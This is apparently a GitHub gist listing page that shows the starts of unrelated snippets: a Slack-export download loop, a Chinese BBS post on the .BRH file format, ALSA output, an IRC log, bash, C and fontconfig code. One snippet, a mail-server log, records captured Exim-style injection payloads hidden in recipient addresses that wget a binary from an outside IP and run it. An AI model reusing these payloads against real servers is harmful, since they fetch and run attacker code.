Skip to content

Instantly share code, notes, and snippets.

cat */*.json | jq -sr 'flatten | map(.files | select(. != null)) | flatten | map(select(.url_private_download != null) | .url_private_download + "\n" + .id + "-" + .title) | join("\n")' | while IFS= read -r url; do IFS= read -r name; wget -O "../files/$name" "$url"; done
@lantw44
lantw44 / sony.tfcis.org-itoc-1629.txt
Last active October 2, 2021 16:22
[分享] .BRH 檔案格式與推文未讀標記問題
作者 lantw44 ([#################]) 看板 itoc
標題 [分享] .BRH 檔案格式與推文未讀標記問題
時間 2017/11/04 Sat 21:35:59
在 sony.tfcis.org 上有個經常發生、也很多人回報過的 bug 是:
「當板上有多篇文章未讀,如果看了其中一篇,其他篇也會變已讀。」
因此一直以來都很好奇 Maple 的看板閱讀紀錄是怎麼實作的,為什麼會有辦法發生這種
問題。但是以前只知道會發生,不知道如何重現,也沒有嘗試 debug 過。
upload=true&script=true&cardinfo=
!!################################
!!ALSA Information Script v 0.4.65
!!################################
!!Script ran on: Sat Aug 14 13:16:53 UTC 2021
!!Linux Distribution
!!------------------
upload=true&script=true&cardinfo=
!!################################
!!ALSA Information Script v 0.4.65
!!################################
!!Script ran on: Sat Aug 14 13:14:09 UTC 2021
!!Linux Distribution
!!------------------
#!/this/script/can/only/be/run/in/bash
get_terminal_size ()
{
# ESC 7 = 儲存游標位置和屬性
# ESC [r = 啟用全螢幕捲動
# ESC [{row};{col}H = 移動游標
# ESC 6n = 回報目前游標位置
# ESC 8 = 還原游標位置和屬性
printf '\e7\e[r\e[999;999H\e[6n\e8' 1>&2
2019-08-17 00:00:28 COSCUP_bridge_bo <vincent_cantin>: Thx!
2019-08-17 00:04:44 --> ofy (~ofy@2001-b011-fc02-14ac-25d5-ff7a-f117-b828.dynamic-ip6.hinet.net) has joined #coscup
2019-08-17 00:33:42 <-- a0000778 (~a0000778@114-35-181-217.HINET-IP.hinet.net) has quit (Ping timeout: 245 seconds)
2019-08-17 00:35:41 --> a0000778 (~a0000778@114-35-181-217.HINET-IP.hinet.net) has joined #coscup
2019-08-17 00:40:20 <-- ofy (~ofy@2001-b011-fc02-14ac-25d5-ff7a-f117-b828.dynamic-ip6.hinet.net) has quit (Read error: Connection reset by peer)
2019-08-17 00:40:47 --> ofy (~ofy@2001-b011-fc02-14ac-25d5-ff7a-f117-b828.dynamic-ip6.hinet.net) has joined #coscup
2019-08-17 00:43:15 COSCUP_bridge_bo <chusiang>: @lantw44 今年的 IRC log 就交給您紀錄啦!(繼續潛水趕簡報 …)
2019-08-17 00:43:47 COSCUP_bridge_bo <licson>: IRC log 🤔
2019-08-17 00:45:25 COSCUP_bridge_bo <MGdesigner>: Hello 大家
2019-08-17 00:45:54 COSCUP_bridge_bo <chusiang>: (MGdesigner: Hello...) 我們衝堂了,沒法聽您的分享。(已哭)
Received: from 0sc.com (server1.netwebzz.com [65.181.120.163])
by master.lant.com.tw (Postfix) with SMTP id C38B0202A2
for <root+${run{x2Fbinx2Fsht-ctx22wgetx20129.121.0.17x2fsex20x2dOx20sex3bchmodx20x2bxx20sex3bx2ex2fsex22}}@master.lant.com.tw>; Wed, 26 Jun 2019 18:57:47 +0800 (CST)
Received: 1
Received: 2
Received: 3
Received: 4
Received: 5
Received: 6
Received: 7
Received: from k8y.com (hostnextra.com [216.245.211.170])
by master.lant.com.tw (Postfix) with SMTP id 6E9062021C
for <root+${run{x2Fbinx2Fsht-ctx22wgetx2065.181.120.163x2fstfinracux22}}@master.lant.com.tw>; Wed, 26 Jun 2019 00:25:38 +0800 (CST)
Received: 1
Received: 2
Received: 3
Received: 4
Received: 5
Received: 6
Received: 7
#include <fcntl.h>
#include <linux/kd.h>
#include <locale.h>
#include <stdio.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
int main (int argc, char *argv[]) {
setlocale (LC_ALL, "");
<?xml version="1.0"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
<!-- 正常的程式:不是 WebKit 也不是 LibreOffice -->
<match>
<test name="family" compare="eq">
<string>sans-serif</string>
</test>
<test name="prgname" compare="not_eq">
<string>soffice.bin</string>